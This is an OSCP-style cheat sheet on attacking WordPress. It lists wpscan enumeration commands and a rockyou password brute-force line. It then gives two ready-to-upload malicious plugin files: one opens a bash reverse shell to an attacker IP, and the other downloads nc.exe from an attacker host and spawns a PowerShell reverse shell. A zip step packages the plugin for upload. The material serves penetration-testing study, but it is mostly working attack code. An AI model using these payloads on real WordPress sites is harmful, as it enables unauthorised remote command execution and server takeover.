// notes/ Service Enumeration
📡
Misc Wordpress
Notes from oscp.adot8.com — services.
#services#adot8
source · oscp.adot8.com · services/misc_wordpress ↗WordPress
code
01wpscan --url $url 02wpscan --url $url -e vp <- Vulnerable plugins03wpscan --url $url -e cb <- Config backups04wpscan --url $url -e p --plugins-detection aggressivecode
01wpscan --url $url -U users.txt -P ~/rockyou.txtVisit the wp-content/plugins directory to view installed plugins
Reverse shell
{% hint style="info" %} You can also catch a reverse shell by editing Appearance > Editor > index.php {% endhint %}
code
01<?php02 03/**04* Plugin Name: Reverse Shell Plugin05* Plugin URI:06* Description: Reverse Shell Plugin07* Version: 1.008* Author: Vince Matteo09* Author URI: http://www.sevenlayers.com10*/11 12exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.45.214/1337 0>&1'");13?>code
01<?php02 03/**04* Plugin Name: Reverse Shell Plugin05* Plugin URI:06* Description: Reverse Shell Plugin07* Version: 1.008* Author: Vince Matteo09* Author URI: http://www.sevenlayers.com10*/11 12system("powershell -c curl http://192.168.45.239/nc.exe -o C:\\programdata\\nc.exe");13system("C:\\programdata\\nc.exe 192.168.45.239 1337 -e powershell.exe");14?>code
01zip shell.zip shell.php